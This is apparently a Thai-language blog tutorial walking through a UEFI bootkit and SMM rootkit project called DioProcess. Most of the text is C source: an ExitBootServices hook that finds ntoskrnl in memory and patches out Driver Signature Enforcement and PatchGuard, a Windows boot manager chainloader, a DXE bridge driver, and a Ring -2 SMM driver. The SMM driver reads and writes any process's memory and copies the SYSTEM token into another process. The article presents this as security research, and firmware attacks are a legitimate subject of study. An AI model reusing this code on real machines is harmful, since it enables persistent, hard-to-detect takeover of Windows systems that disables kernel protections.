Home

Published

- 17 min read

UEFI Bootkit & SMM Rootkit

img of UEFI Bootkit & SMM Rootkit

บทนำ

ในบทความที่แล้วเราได้ทำความเข้าใจพื้นฐานของ UEFI ตั้งแต่ SEC → PEI → DXE → BDS → TSL → RT → AL กันไปแล้ว ในบทความนี้เราจะเจาะลึกลงไปในสองหัวข้อที่น่าสนใจสำหรับ security research คือ

  1. UEFI Bootkit — การ hook ExitBootServices() เพื่อแทรกแซง kernel ก่อนที่ระบบปฏิบัติการจะเข้าควบคุม
  2. SMM Rootkit — การทำงานใน System Management Mode (Ring -2) ซึ่งอยู่ลึกกว่า kernel และ hypervisor

ทั้งสองหัวข้อนี้จะอ้างอิงจาก implementation จริงใน DioProcess project ซึ่งประกอบด้วยสาม module หลัก ได้แก่ DioProcessEfi (UEFI Application), DioProcessDxe (DXE Runtime Driver) และ DioProcessSmm (SMM Driver)

2.1 ทำไม Firmware-level Attack ถึงสำคัญ

ก่อนที่เราจะเข้าสู่รายละเอียด ควรทำความเข้าใจก่อนว่าทำไม firmware-level attack ถึงเป็นที่สนใจของทั้งฝ่ายโจมตีและฝ่ายป้องกัน ในระบบคอมพิวเตอร์สมัยใหม่ มีหลายระดับของ privilege ที่วางซ้อนกันเป็นชั้น ๆ

   ┌─────────────────────────────────────────────────┐
│  Ring 3  │  User Applications                   │
├──────────┼──────────────────────────────────────┤
│  Ring 0  │  Operating System Kernel             │
├──────────┼──────────────────────────────────────┤
│  Ring -1Hypervisor (VT-x/AMD-V)
├──────────┼──────────────────────────────────────┤
│  Ring -2SMM (System Management Mode)
├──────────┼──────────────────────────────────────┤
│  Ring -3 │  Management Engine (ME/PSP)
└──────────┴──────────────────────────────────────┘

firmware-level attack มีข้อได้เปรียบเหนือ malware ทั่วไปหลายประการ

  • Persistence — code ที่อยู่ใน firmware สามารถอยู่รอดได้แม้จะ format hard drive หรือติดตั้งระบบปฏิบัติการใหม่
  • Stealth — ทำงานก่อนที่ระบบปฏิบัติการจะ boot ทำให้ antivirus หรือ EDR ไม่สามารถตรวจจับได้
  • Privilege — ควบคุมระบบตั้งแต่ระดับต่ำสุด ก่อนที่ security feature อย่าง Secure Boot, PatchGuard หรือ DSE จะทำงาน

2.2 ExitBootServices และจุดเปลี่ยนผ่าน

2.2.1 ทบทวน ExitBootServices

จากบทความที่แล้ว เราทราบว่า ExitBootServices() คือจุดเปลี่ยนผ่านที่สำคัญที่สุดในกระบวนการ boot ของระบบ UEFI ตามที่ UEFI specification กำหนดไว้ เมื่อ OS Loader เรียก ExitBootServices() จะเกิดเหตุการณ์ดังต่อไปนี้

  1. UEFI คืน memory ที่ Boot Services ใช้งานอยู่
  2. Boot Services table ถูก invalidate ไม่สามารถเรียกใช้ได้อีก
  3. ระบบเข้าสู่ Runtime phase
  4. ระบบปฏิบัติการเริ่มเข้าควบคุมระบบ
   UEFI Boot Services ──────┬──────> OS Runtime

              ExitBootServices()

     Boot Services ถูกทำลาย
     เหลือเพียง Runtime Services

2.2.2 ทำไมต้อง Hook ตรงนี้

ExitBootServices() คือ จุดสุดท้าย ที่ UEFI code ยังมีการควบคุมอยู่ ก่อนที่ระบบปฏิบัติการจะ take over ที่จุดนี้ winload.efi (Windows loader) ได้โหลด ntoskrnl.exe และ driver ต่าง ๆ เข้าสู่ memory เรียบร้อยแล้ว แต่ยังไม่ได้ execute ซึ่งหมายความว่าเราสามารถ

  • Patch kernel ก่อนที่มันจะเริ่มทำงาน
  • Disable security features อย่าง DSE (Driver Signature Enforcement) หรือ PatchGuard (KPP)
  • Inject code เข้าไปใน OS image โดยตรง

ปัญหาสำคัญอย่างหนึ่งคือ winload.efi โหลด kernel images ผ่าน loader ของตัวเอง (BlImgLoadImage) ไม่ได้ใช้ UEFI’s LoadImage ดังนั้น ntoskrnl.exe จึงไม่ปรากฏใน LoadedImage protocol handles ตามปกติ เราต้องใช้วิธี scan memory map เพื่อค้นหา

2.2.3 สถาปัตยกรรมของ DioProcessEfi

DioProcessEfi เป็น UEFI Application ที่ถูกออกแบบมาให้ทำงานเป็น bootkit โดยมี flow การทำงานดังนี้

   ┌─────────────────────────────────────────────────────────────┐
│                  DioProcessEfi Boot Flow                    │
├─────────────────────────────────────────────────────────────┤
│                                                              │
1. Boot Manager เรียก DioProcessEfi.efi                    │
│           │                                                  │
│           ▼                                                  │
2. Hook gBS->ExitBootServices                               │
│           │                                                  │
│           ▼                                                  │
3. Chainload \EFI\Microsoft\Boot\bootmgfw.efi              │
│           │                                                  │
│           ▼                                                  │
4. winload.efi โหลด ntoskrnl.exe, CI.dll เข้า memory       │
│           │                                                  │
│           ▼                                                  │
5. winload.efi เรียก ExitBootServices — hook ทำงาน         │
│           │                                                  │
│           ▼                                                  │
6. Hook scan memory map, หา ntoskrnl, apply DSE/KPP patch  │
│           │                                                  │
│           ▼                                                  │
7. Hook เรียก original ExitBootServices                    │
│           │                                                  │
│           ▼                                                  │
8. Kernel takes control                                     │
│                                                              │
└─────────────────────────────────────────────────────────────┘

2.2.4 การติดตั้ง ExitBootServices Hook

การติดตั้ง hook นั้นตรงไปตรงมา เพียงแค่บันทึก original function pointer แล้วแทนที่ด้วย hooked function

   // file: DioProcessEfi/DioProcessEfi.c

STATIC EFI_EXIT_BOOT_SERVICES gOriginalExitBootServices = NULL;

EFI_STATUS
EFIAPI
DioProcessEfiEntry(
    IN EFI_HANDLE       ImageHandle,
    IN EFI_SYSTEM_TABLE *SystemTable
    )
{
    // บันทึก original pointer
    gOriginalExitBootServices = gBS->ExitBootServices;
    
    // แทนที่ด้วย hook function
    gBS->ExitBootServices = HookedExitBootServices;
    
    // Chainload Windows Boot Manager
    Status = ChainloadWindowsBootManager(ImageHandle);
    
    return Status;
}

2.2.5 Hooked ExitBootServices Function

เมื่อ winload.efi เรียก ExitBootServices() hook function ของเราจะทำงานแทน ที่จุดนี้ Boot Services ยังคงใช้งานได้ (เพราะเรายังไม่ได้เรียก original function) และ winload ได้โหลด ntoskrnl.exe กับ CI.dll เข้าสู่ memory แล้ว

   // file: DioProcessEfi/DioProcessEfi.c

STATIC
EFI_STATUS
EFIAPI
HookedExitBootServices(
    IN EFI_HANDLE ImageHandle,
    IN UINTN      MapKey
    )
{
    DIOPROCESS_CONFIG Config;
    VOID             *NtoskrnlBase = NULL;
    UINTN             NtoskrnlSize = 0;

    DebugAppend(L"Hook fired.");

    // อ่าน configuration จาก NVRAM
    ReadDioProcessConfig(&Config);

    // ค้นหา ntoskrnl.exe (จำเป็นสำหรับทั้ง DSE และ KPP bypass)
    if (Config.DseBypass || Config.KppBypass) {
        if (!EFI_ERROR(FindNtoskrnl(&NtoskrnlBase, &NtoskrnlSize))) {
            DebugAppend(L" NT:");
            DebugAppendHex((UINT64)(UINTN)NtoskrnlBase);
        }
    }

    // DSE bypass: patch ntoskrnl's SepInitializeCodeIntegrity
    if (Config.DseBypass && NtoskrnlBase != NULL) {
        if (PatchDse(NtoskrnlBase, NtoskrnlSize)) {
            DebugAppend(L"DSE:OK ");
        }
    }

    // PatchGuard bypass: patch ntoskrnl's KPP init functions
    if (Config.KppBypass && NtoskrnlBase != NULL) {
        if (PatchKpp(NtoskrnlBase, NtoskrnlSize)) {
            DebugAppend(L"KPP:OK ");
        }
    }

    // บันทึก debug log ลง NVRAM (สามารถอ่านได้หลัง boot)
    DebugSave();

    // คืน original และเรียก
    gBS->ExitBootServices = gOriginalExitBootServices;
    return gOriginalExitBootServices(ImageHandle, MapKey);
}

2.2.6 การค้นหา ntoskrnl.exe ใน Memory

เนื่องจาก winload ไม่ได้ใช้ UEFI’s LoadImage เราจึงต้อง scan memory map เพื่อหา ntoskrnl.exe โดยใช้ลักษณะเฉพาะของมันในการระบุตัวตน

   // file: DioProcessEfi/DioProcessEfi.c

STATIC
EFI_STATUS
FindNtoskrnl(
    OUT VOID  **ImageBase,
    OUT UINTN  *ImageSize
    )
{
    EFI_STATUS             Status;
    UINTN                  MapSize = 0;
    UINTN                  MapKey;
    UINTN                  DescriptorSize;
    UINT32                 DescriptorVersion;
    EFI_MEMORY_DESCRIPTOR *MemMap = NULL;
    UINTN                  Offset;

    // ขอ memory map จาก UEFI
    Status = gBS->GetMemoryMap(&MapSize, NULL, &MapKey, &DescriptorSize, &DescriptorVersion);
    MapSize += 4 * DescriptorSize;
    MemMap = AllocatePool(MapSize);
    Status = gBS->GetMemoryMap(&MapSize, MemMap, &MapKey, &DescriptorSize, &DescriptorVersion);

    // วนลูปผ่าน memory descriptors
    for (Offset = 0; Offset < MapSize; Offset += DescriptorSize) {
        EFI_MEMORY_DESCRIPTOR *Desc = (EFI_MEMORY_DESCRIPTOR *)((UINT8 *)MemMap + Offset);
        UINT8  *RegionBase;
        UINTN   RegionSize;
        UINTN   PageOffset;

        // ตรวจสอบเฉพาะ memory types ที่น่าจะมี kernel image
        if (Desc->Type != EfiLoaderData &&
            Desc->Type != EfiLoaderCode &&
            Desc->Type != EfiBootServicesCode &&
            Desc->Type != EfiBootServicesData &&
            Desc->Type != EfiRuntimeServicesCode &&
            Desc->Type != EfiRuntimeServicesData) {
            continue;
        }

        RegionBase = (UINT8 *)(UINTN)Desc->PhysicalStart;
        RegionSize = Desc->NumberOfPages * EFI_PAGE_SIZE;

        // Scan ทีละ page หา PE header
        for (PageOffset = 0; PageOffset + 0x1000 <= RegionSize; PageOffset += EFI_PAGE_SIZE) {
            UINT8 *PageBase = RegionBase + PageOffset;
            UINTN ImgSize;

            // ตรวจสอบ MZ header
            if (PageBase[0] != 'M' || PageBase[1] != 'Z') continue;
            if (!PeValidateImage(PageBase)) continue;

            ImgSize = PeGetImageSize(PageBase);
            // ntoskrnl ปกติมีขนาด 4MB-64MB
            if (ImgSize < 0x400000 || ImgSize > 0x4000000) continue;

            // ยืนยันว่าเป็น ntoskrnl โดยตรวจสอบ export "NtCreateFile"
            if (PeFindExport(PageBase, "NtCreateFile") != NULL) {
                *ImageBase = PageBase;
                *ImageSize = ImgSize;
                FreePool(MemMap);
                return EFI_SUCCESS;
            }
        }
    }

    FreePool(MemMap);
    return EFI_NOT_FOUND;
}

การระบุตัวตนของ ntoskrnl.exe ทำได้โดยตรวจสอบลักษณะเฉพาะดังนี้

  1. ขนาด — ntoskrnl มีขนาดประมาณ 4MB ถึง 64MB
  2. Export — มี function NtCreateFile ซึ่งเป็นเอกลักษณ์ของ ntoskrnl

2.2.7 Chainloading Windows Boot Manager

หลังจากติดตั้ง hook แล้ว DioProcessEfi ต้อง chainload Windows Boot Manager (bootmgfw.efi) เพื่อให้กระบวนการ boot ดำเนินต่อไปตามปกติ

   // file: DioProcessEfi/DioProcessEfi.c

STATIC
EFI_STATUS
ChainloadWindowsBootManager(
    IN EFI_HANDLE ImageHandle
    )
{
    EFI_STATUS                       Status;
    EFI_SIMPLE_FILE_SYSTEM_PROTOCOL *FileSystem;
    EFI_FILE_PROTOCOL               *Root;
    EFI_FILE_PROTOCOL               *BootmgrFile;
    VOID                            *FileBuffer;
    EFI_HANDLE                       NewImageHandle;

    // ค้นหา ESP filesystem ที่มี bootmgfw.efi
    Status = FindEspFileSystem(&FileSystem);
    Status = FileSystem->OpenVolume(FileSystem, &Root);
    Status = Root->Open(Root, &BootmgrFile, 
                        L"\\EFI\\Microsoft\\Boot\\bootmgfw.efi", 
                        EFI_FILE_MODE_READ, 0);

    // อ่าน bootmgfw.efi เข้า memory
    // ... (allocate buffer, read file)

    // โหลด image ผ่าน UEFI LoadImage
    Status = gBS->LoadImage(FALSE, ImageHandle, BootmgrDevicePath, 
                            FileBuffer, FileSize, &NewImageHandle);

    // Start image — control transfers to Windows Boot Manager
    Status = gBS->StartImage(NewImageHandle, NULL, NULL);

    return Status;
}

2.3 System Management Mode (SMM)

2.3.1 SMM คืออะไร

System Management Mode (SMM) คือ special CPU mode ที่ถูกออกแบบมาตั้งแต่ยุค Intel 386SL เพื่อจัดการกับ system-level functions ที่ต้องการ privilege สูงสุด เช่น

  • Power management
  • Hardware error handling
  • System configuration
  • OEM-specific features

SMM ทำงานใน isolated memory space เรียกว่า SMRAM (System Management RAM) ซึ่งมีคุณสมบัติพิเศษดังนี้

  • แยกจาก OS — ระบบปฏิบัติการไม่สามารถ read หรือ write SMRAM ได้
  • Invisible — ไม่ปรากฏใน OS memory map
  • Highest privilege — privilege สูงกว่า Ring 0 (kernel) และ Ring -1 (hypervisor)
   ┌─────────────────────────────────────────────────────┐
│                    Memory Layout                     │
├─────────────────────────────────────────────────────┤
│                                                      │
0xFFFFFFFF ┌──────────────────┐                   │
│              │  High Memory     │                   │
│              ├──────────────────┤                   │
│              │  SMRAM (Hidden)  │ ← SMM code อยู่ที่นี่
│              │  (TSEG)          │   OS มองไม่เห็น   │
│              ├──────────────────┤                   │
│              │  OS Memory       │                   │
│              │                  │                   │
0x00000000 └──────────────────┘                   │
│                                                      │
└─────────────────────────────────────────────────────┘

2.3.2 System Management Interrupt (SMI)

SMM ถูกเรียกผ่าน SMI (System Management Interrupt) ซึ่งเป็น non-maskable interrupt พิเศษ เมื่อ SMI ถูก trigger CPU จะทำงานดังนี้

   Normal Execution

      │  SMI Triggered

┌─────────────────┐
│  Save CPU State │  ← Register, flags ทั้งหมด
│  to SMRAM       │    ถูก save ใน State Save Area
└────────┬────────┘


┌─────────────────┐
│  Switch to SMM  │  ← CPU enters SMM mode
│  Execute SMI    │    SMRAM accessible
│  Handler        │
└────────┬────────┘


┌─────────────────┐
│  RSM instruction│  ← Resume from SMM
│  Restore State  │
└────────┬────────┘


Normal Execution Continues

ข้อสังเกตสำคัญคือ เมื่อ CPU อยู่ใน SMM มันจะ “หายไป” จากมุมมองของ OS เหมือนกับว่าเวลาหยุดนิ่ง นี่คือเหตุผลที่ SMM rootkit ตรวจจับได้ยากมาก

2.3.3 สถาปัตยกรรมของ DioProcess SMM

DioProcess ใช้สถาปัตยกรรมแบบ two-driver model ประกอบด้วย

  1. DioProcessDxe (DXE Runtime Driver) — ทำหน้าที่เป็นสะพานระหว่าง kernel driver กับ SMM driver
  2. DioProcessSmm (SMM Driver) — ทำงานใน Ring -2 ให้บริการ memory operations
   ┌─────────────────────────────────────────────────────────────┐
│                    DioProcess SMM Architecture              │
├─────────────────────────────────────────────────────────────┤
│                                                              │
│  ┌──────────────────────────────────────────────────────┐   │
│  │  Windows Kernel Driver                                │   │
│  │  (requests memory operations via NVRAM variable)      │   │
│  └──────────────────────────┬───────────────────────────┘   │
│                             │ Read NVRAM Transfer struct
│                             ▼                                │
│  ┌──────────────────────────────────────────────────────┐   │
│  │  DioProcessDxe (DXE Runtime Driver)                   │   │
│  │  - Allocates communication buffer                     │   │
│  │  - Publishes API via NVRAM variable                   │   │
│  │  - Converts addresses for virtual mode                │   │
│  └──────────────────────────┬───────────────────────────┘   │
│                             │ EFI_MM_COMMUNICATION2_PROTOCOL│
│                             ▼                                │
│  ┌──────────────────────────────────────────────────────┐   │
│  │  DioProcessSmm (SMM Driver - Ring -2)                 │   │
│  │  - Handles SMI requests                               │   │
│  │  - Physical/Virtual memory R/W                        │   │
│  │  - Page table manipulation                            │   │
│  │  - Token exchange (privilege escalation)              │   │
│  └──────────────────────────────────────────────────────┘   │
│                                                              │
└─────────────────────────────────────────────────────────────┘

2.3.4 DioProcessDxe — DXE Runtime Driver

DioProcessDxe มีหน้าที่หลักคือ

  1. จัดสรร communication buffer สำหรับ SMM communication
  2. ลงทะเบียน callback สำหรับ ExitBootServices และ Virtual Address Change events
  3. เผยแพร่ API ผ่าน NVRAM variable ให้ kernel driver เรียกใช้
   // file: DioProcessDxe/DxeMain.c

EFI_STATUS
EFIAPI
DioProcessDxeMain(
    IN EFI_HANDLE        ImageHandle,
    IN EFI_SYSTEM_TABLE *SystemTable
    )
{
    SerialPrint("=[ DioProcess DXE ]=\r\n");

    // คำนวณขนาด communication buffer
    gCommSize = sizeof(DIOPROCESS_COMMUNICATION) + DIOPROCESS_COMMUNICATE_HEADER_SIZE;

    // จัดสรร buffer ใน EfiRuntimeServicesData (อยู่รอดหลัง ExitBootServices)
    EFI_STATUS Status = gBS->AllocatePool(EfiRuntimeServicesData, gCommSize, &gPhysCommBuf);
    gBS->SetMem(gPhysCommBuf, gCommSize, 0);
    gCommBuf = gPhysCommBuf;

    // ค้นหา MM Communication Protocol สำหรับติดต่อกับ SMM
    Status = gBS->LocateProtocol(&gEfiMmCommunication2ProtocolGuid, NULL, 
                                  (VOID **)&gMmCommunicate2);

    // ลงทะเบียน callback ก่อน ExitBootServices
    Status = gBS->CreateEventEx(EVT_NOTIFY_SIGNAL, TPL_CALLBACK, 
                                 DioProcessBeforeExitBootServices, NULL, 
                                 &gEfiEventBeforeExitBootServicesGuid, &gExitBs);

    // ลงทะเบียน callback สำหรับ virtual address change
    Status = gBS->CreateEventEx(EVT_NOTIFY_SIGNAL, TPL_CALLBACK, 
                                 DioProcessDxeGoneVirtual, NULL, 
                                 &gEfiEventVirtualAddressChangeGuid, &gGoneVirtual);

    return Status;
}

เมื่อระบบเปลี่ยนจาก physical addressing เป็น virtual addressing (หลังจาก SetVirtualAddressMap() ถูกเรียก) callback DioProcessDxeGoneVirtual จะทำงาน

   // file: DioProcessDxe/DxeMain.c

VOID
EFIAPI
DioProcessDxeGoneVirtual(
    IN EFI_EVENT  Event,
    IN VOID      *Context
    )
{
    SerialPrint("[ DXE ] Virtual address change callback\r\n");

    // แปลง physical addresses เป็น virtual addresses
    VOID *VirtualBuf = gPhysCommBuf;
    gRT->ConvertPointer(EFI_OBLIGATORY_PTR, (VOID **)&gMmCommunicate2);
    gRT->ConvertPointer(EFI_OBLIGATORY_PTR, (VOID **)&VirtualBuf);
    gCommBuf = VirtualBuf;

    // สร้าง transfer packet ที่มี API pointers
    DIOPROCESS_TRANSFER Transfer = { 0 };
    Transfer.Buffer.CommBufPhys = gPhysCommBuf;
    Transfer.Buffer.CommBufVirtual = gCommBuf;
    Transfer.Buffer.BufSize = gCommSize;
    Transfer.API.SetupBufFunction = (VOID *)SetupCommunicationBuffer;
    Transfer.API.SmmCommunicateFunction = (VOID *)DioProcessSmmCommunicate;

    // เผยแพร่ผ่าน NVRAM variable
    EFI_STATUS Status = gRT->SetVariable(
        L"DioProcessSmmTransfer",
        &gDioProcessTransferVarGuid,
        (EFI_VARIABLE_NON_VOLATILE | EFI_VARIABLE_BOOTSERVICE_ACCESS | 
         EFI_VARIABLE_RUNTIME_ACCESS),
        sizeof(DIOPROCESS_TRANSFER),
        &Transfer
    );

    SerialPrint("[ DXE ] Transfering to RT phase\r\n");
}

2.3.5 DioProcessSmm — SMM Driver

DioProcessSmm คือหัวใจของระบบ ทำงานใน Ring -2 และให้บริการ memory operations ที่ทรงพลัง

   // file: DioProcessSmm/SmmMain.c

EFI_STATUS
EFIAPI
DioProcessSmmMain(
    IN EFI_HANDLE        ImageHandle,
    IN EFI_SYSTEM_TABLE *SystemTable
    )
{
    SerialPrint("=[ DioProcess SMM ]=\r\n");
    SerialPrint("=[ Ring -2 Memory Operations ]=\r\n");

    // ค้นหา SmmBase protocol
    EFI_SMM_BASE2_PROTOCOL *Smm2;
    EFI_STATUS Status = gBS->LocateProtocol(&gEfiSmmBase2ProtocolGuid, NULL, 
                                             (VOID **)&Smm2);

    // ตรวจสอบว่าเราอยู่ใน SMM context จริง
    BOOLEAN SmmSanityCheck;
    Smm2->InSmm(Smm2, &SmmSanityCheck);
    if (SmmSanityCheck) {
        SerialPrint("[ SMM ] SMM driver invoked by SMM IPL, initializing...\r\n");

        // ขอ SMM System Table
        Status = Smm2->GetSmstLocation(Smm2, &gSmst2);

        // Initialize context และลงทะเบียน SMI handler
        Status = InitializeSmmContext();
    } else {
        SerialPrint("[ SMM ] SMM driver started under DXE environment\r\n");
        return EFI_ACCESS_DENIED;
    }

    return Status;
}

EFI_STATUS
EFIAPI
InitializeSmmContext(
    VOID
    )
{
    EFI_STATUS Status;

    // ลงทะเบียน SMI handler
    Status = SmiRegisterHandler();
    if (!EFI_ERROR(Status)) {
        // จัดสรร page สำหรับ memory remapping
        Status = gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, 
                                           1, &gRemapPage);
        gBS->SetMem((VOID *)gRemapPage, EFI_PAGE_SIZE, 0);
    }

    return Status;
}

2.3.6 SMI Handler

SMI Handler คือ function ที่ถูกเรียกเมื่อ SMI ถูก trigger มันรับ command จาก communication buffer และ dispatch ไปยัง handler function ที่เหมาะสม

   // file: DioProcessSmm/Smi.c

EFI_STATUS
EFIAPI
DioProcessSmiHandler(
    IN           EFI_HANDLE  DispatchHandle,
    IN     CONST VOID       *Context        OPTIONAL,
    IN OUT       VOID       *CommBuffer     OPTIONAL,
    IN OUT       UINTN      *CommBufferSize OPTIONAL
    )
{
    PDIOPROCESS_COMMUNICATION SmiCommCtx;

    SerialPrint("[ SMM ] Hit DioProcess SMI handler\r\n");

    // ตรวจสอบ buffer validity
    if (CommBuffer == NULL || CommBufferSize == 0) {
        return EFI_SUCCESS;
    }

    // Security check: ตรวจสอบว่า buffer ไม่ overlap กับ SMRAM
    if (!SmmIsBufferOutsideSmmValid((UINTN)CommBuffer, PayloadSize)) {
        SerialPrint("[ SMM ] Communication buffer overlaps SMRAM!\r\n");
        return EFI_SUCCESS;
    }

    SmiCommCtx = (PDIOPROCESS_COMMUNICATION)CommBuffer;
    
    // Speculation barrier เพื่อป้องกัน Spectre-style attacks
    SpeculationBarrier();

    // Dispatch command
    SmiCommCtx->SmiRetStatus = CmdMainHandler(SmiCommCtx);

    return EFI_SUCCESS;
}

EFI_STATUS
EFIAPI
SmiRegisterHandler(
    VOID
    )
{
    EFI_HANDLE Handle;
    EFI_STATUS Status = gSmst2->SmiHandlerRegister(DioProcessSmiHandler, 
                                                    &gDioProcessSmiHandlerGuid, 
                                                    &Handle);
    return Status;
}

2.3.7 Command Handler

Command handler รับ command code และ dispatch ไปยัง function ที่เหมาะสม

   // file: DioProcessSmm/Commands.c

EFI_STATUS
EFIAPI
CmdMainHandler(
    IN PDIOPROCESS_COMMUNICATION SmiCommCtx
    )
{
    EFI_STATUS Status;

    switch (SmiCommCtx->Command) {
        case CMD_DIOPROCESS_PING_SMI:
            SerialPrint("[ SMM ] SMI handler is alive\r\n");
            Status = EFI_SUCCESS;
            break;
            
        case CMD_DIOPROCESS_READ_PHYS:
            Status = CmdPhysRead(SmiCommCtx->Read.PhysReadAddress, 
                                 SmiCommCtx->Read.ReadResult, 
                                 SmiCommCtx->Read.ReadLength);
            break;
            
        case CMD_DIOPROCESS_WRITE_PHYS:
            Status = CmdPhysWrite(SmiCommCtx->Write.PhysWriteAddress, 
                                  SmiCommCtx->Write.DataToWrite, 
                                  SmiCommCtx->Write.WriteLength);
            break;
            
        case CMD_DIOPROCESS_READ_VIRTUAL:
            Status = CmdVirtualRead(SmiCommCtx->Read.TargetProcessId, 
                                    SmiCommCtx->Read.VaReadAddress, 
                                    SmiCommCtx->Read.ReadResult, 
                                    SmiCommCtx->Read.ReadLength);
            break;
            
        case CMD_DIOPROCESS_WRITE_VIRTUAL:
            Status = CmdVirtualWrite(SmiCommCtx->Write.TargetProcessId, 
                                     SmiCommCtx->Write.VaWriteAddress, 
                                     SmiCommCtx->Write.DataToWrite, 
                                     SmiCommCtx->Write.WriteLength);
            break;
            
        case CMD_DIOPROCESS_CACHE_SESSION_INFO:
            Status = CmdCacheSessionInfo(SmiCommCtx->Cache.ControllerProcessId, 
                                         SmiCommCtx->Cache.VaPsInitialSysProcess, 
                                         SmiCommCtx->Cache.DirBase);
            break;
            
        case CMD_DIOPROCESS_VIRT_TO_PHYS:
            Status = CmdVirtToPhys(SmiCommCtx->Vtop.TargetPid, 
                                   SmiCommCtx->Vtop.AddressToTranslate, 
                                   &SmiCommCtx->Vtop.Translated);
            break;
            
        case CMD_DIOPROCESS_PRIV_ESC:
            Status = CmdEscalatePrivileges();
            break;
            
        default:
            SerialPrint("[ SMM ] Unknown command\r\n");
            Status = EFI_INVALID_PARAMETER;
            break;
    }

    return Status;
}

2.3.8 Virtual-to-Physical Address Translation

หนึ่งในความสามารถที่สำคัญที่สุดของ SMM driver คือการ translate virtual address ของ process ใด ๆ ไปเป็น physical address ซึ่งต้องใช้การ walk page table structures (PML4 → PDPE → PDE → PTE)

   // file: DioProcessSmm/Memory.c

UINT64
EFIAPI
MemTranslateVirtualToPhys(
    IN VOID   *Address,
    IN UINT64  Dir
    )
{
    UINT64 TargetAddress;
    UINT64 ReadAddress;

    Dir &= 0xFFFFFFFFFFFFF000ULL;
    UINT64 SmmDir = AsmReadCr3() & 0xFFFFFFFFFFFFF000ULL;

    // Level 4: PML4
    PML4E Pml4;
    UINT8 PageSize = EDioprocessPage4Kb;
    if (MemRemapAddress(gRemapPage, Dir, SmmDir, &PageSize)) {
        TargetAddress = gRemapPage;
        // Adjust for page size
        if (PageSize == EDioprocessPage1Gb) {
            TargetAddress += Dir & 0x3FFFFFF;
        } else if (PageSize == EDioprocessPage2Mb) {
            TargetAddress += Dir & 0x1FFFFF;
        } else {
            TargetAddress += Dir & 0xFFF;
        }

        // อ่าน PML4 entry
        Pml4.Value = *(UINT64 *)(TargetAddress + 
                     (((UINT64)Address >> 39) & 0x1FF) * sizeof(UINT64));
        MemRestoreSmramMappings();
    }

    // Level 3: PDPE
    PDPE Pdpe;
    if (Pml4.Bits.Present) {
        ReadAddress = Pml4.Bits.Pfn << EFI_PAGE_SHIFT;
        if (MemRemapAddress(gRemapPage, ReadAddress, SmmDir, &PageSize)) {
            // ... adjust target address
            Pdpe.Value = *(UINT64 *)(TargetAddress + 
                         (((UINT64)Address >> 30) & 0x1FF) * sizeof(UINT64));
            MemRestoreSmramMappings();
        }
    }

    // Level 2: PDE
    PDE Pde;
    if (Pdpe.Bits.Present) {
        // Check for 1GB page
        if (Pdpe.Bits.Size)
            return ((Pdpe.Bits.Pfn << EFI_PAGE_SHIFT) + ((UINT64)Address & 0x3FFFFFF));

        ReadAddress = Pdpe.Bits.Pfn << EFI_PAGE_SHIFT;
        // ... similar logic
    }

    // Level 1: PTE
    PTE Pte;
    if (Pde.Bits.Present) {
        // Check for 2MB page
        if (Pde.Bits.Size)
            return ((Pde.Bits.Pfn << EFI_PAGE_SHIFT) + ((UINT64)Address & 0x1FFFFF));

        // ... read PTE
    }

    // Final translation
    if (Pte.Bits.Present)
        return ((Pte.Bits.Pfn << EFI_PAGE_SHIFT) + ((UINT64)Address & 0xFFF));

    return 0;
}

2.3.9 Virtual Memory Read/Write

เมื่อเรา translate virtual address ได้แล้ว เราสามารถอ่าน/เขียน memory ของ process ใด ๆ ได้

   // file: DioProcessSmm/Commands.c

EFI_STATUS
EFIAPI
CmdVirtualRead(
    IN UINT64   TargetPid,
    IN VOID    *AddressToRead,
    IN VOID    *ReceivedInfo,
    IN UINT64   LengthToRead
    )
{
    SerialPrint("[ SMM ] Reading from virtual memory\r\n");

    // Validate parameters
    if ((!AddressToRead || !LengthToRead || !ReceivedInfo) || 
        LengthToRead > BASE_4KB || !TargetPid) {
        return EFI_INVALID_PARAMETER;
    }

    // จัดสรร intermediate buffer
    EFI_PHYSICAL_ADDRESS InterimPage;
    EFI_STATUS Status = gSmst2->SmmAllocatePages(AllocateAnyPages, 
                                                  EfiRuntimeServicesData, 
                                                  1, &InterimPage);

    // หา DirectoryBase (CR3) ของ target process โดย walk EPROCESS list
    UINT64 TargetDirBase = NtGetDirBaseByPid(TargetPid, 
                                              gLiveSession.SysProcess.VaPsInitialSysProcess, 
                                              gLiveSession.SysProcess.DirBase, NULL);

    // Translate และ map address ที่จะอ่าน
    UINT64 TranslatedReadTarget = MemMapVirtualAddress(AddressToRead, TargetDirBase, NULL);

    // Copy ไปยัง intermediate buffer
    PhysMemCpy((VOID *)InterimPage, (VOID *)TranslatedReadTarget, (UINT32)LengthToRead);
    MemRestoreSmramMappings();

    // Map consumer buffer และ copy ผลลัพธ์
    UINT64 TranslatedConsumer = MemMapVirtualAddress(ReceivedInfo, 
                                                      gLiveSession.UmController.UmControllerDirBase, 
                                                      NULL);
    PhysMemCpy((VOID *)TranslatedConsumer, (VOID *)InterimPage, (UINT32)LengthToRead);
    MemRestoreSmramMappings();

    gSmst2->SmmFreePages(InterimPage, 1);
    return EFI_SUCCESS;
}

2.3.10 Process Token Exchange (Privilege Escalation)

หนึ่งในความสามารถที่อันตรายที่สุดคือการ exchange process token ซึ่งทำให้สามารถ escalate privilege ได้

   // file: DioProcessSmm/Nt.c

// EPROCESS structure offsets (Windows 10/11)
#define EPROCESS_DIR_BASE_OFFSET     0x28
#define EPROCESS_PID_OFFSET          0x440
#define EPROCESS_FLINK_OFFSET        0x448
#define EPROCESS_TOKEN_OFFSET        0x4B8

EFI_STATUS
EFIAPI
NtExchangeProcessToken(
    IN VOID *SourceEprocess,    // System process
    IN VOID *TargetEprocess     // Our controller process
    )
{
    if (!SourceEprocess || !TargetEprocess)
        return EFI_INVALID_PARAMETER;

    SerialPrint("[ SMM ] Exchanging process tokens\r\n");

    // Map source EPROCESS และอ่าน token
    UINT64 MappedSource = MemProcessOutsideSmramPhysMemory((UINT64)SourceEprocess);
    UINT64 SourceToken = *(UINT64 *)(MappedSource + EPROCESS_TOKEN_OFFSET);
    MemRestoreSmramMappings();

    // Map target EPROCESS และเขียน token
    UINT64 MappedTarget = MemProcessOutsideSmramPhysMemory((UINT64)TargetEprocess);
    *(UINT64 *)(MappedTarget + EPROCESS_TOKEN_OFFSET) = SourceToken;
    MemRestoreSmramMappings();

    SerialPrint("[ SMM ] Token exchanged successfully\r\n");
    return EFI_SUCCESS;
}

การทำงานนี้คือการ copy Token pointer จาก System process (PID 4) ไปยัง controller process ทำให้ controller process มีสิทธิ์เท่ากับ SYSTEM

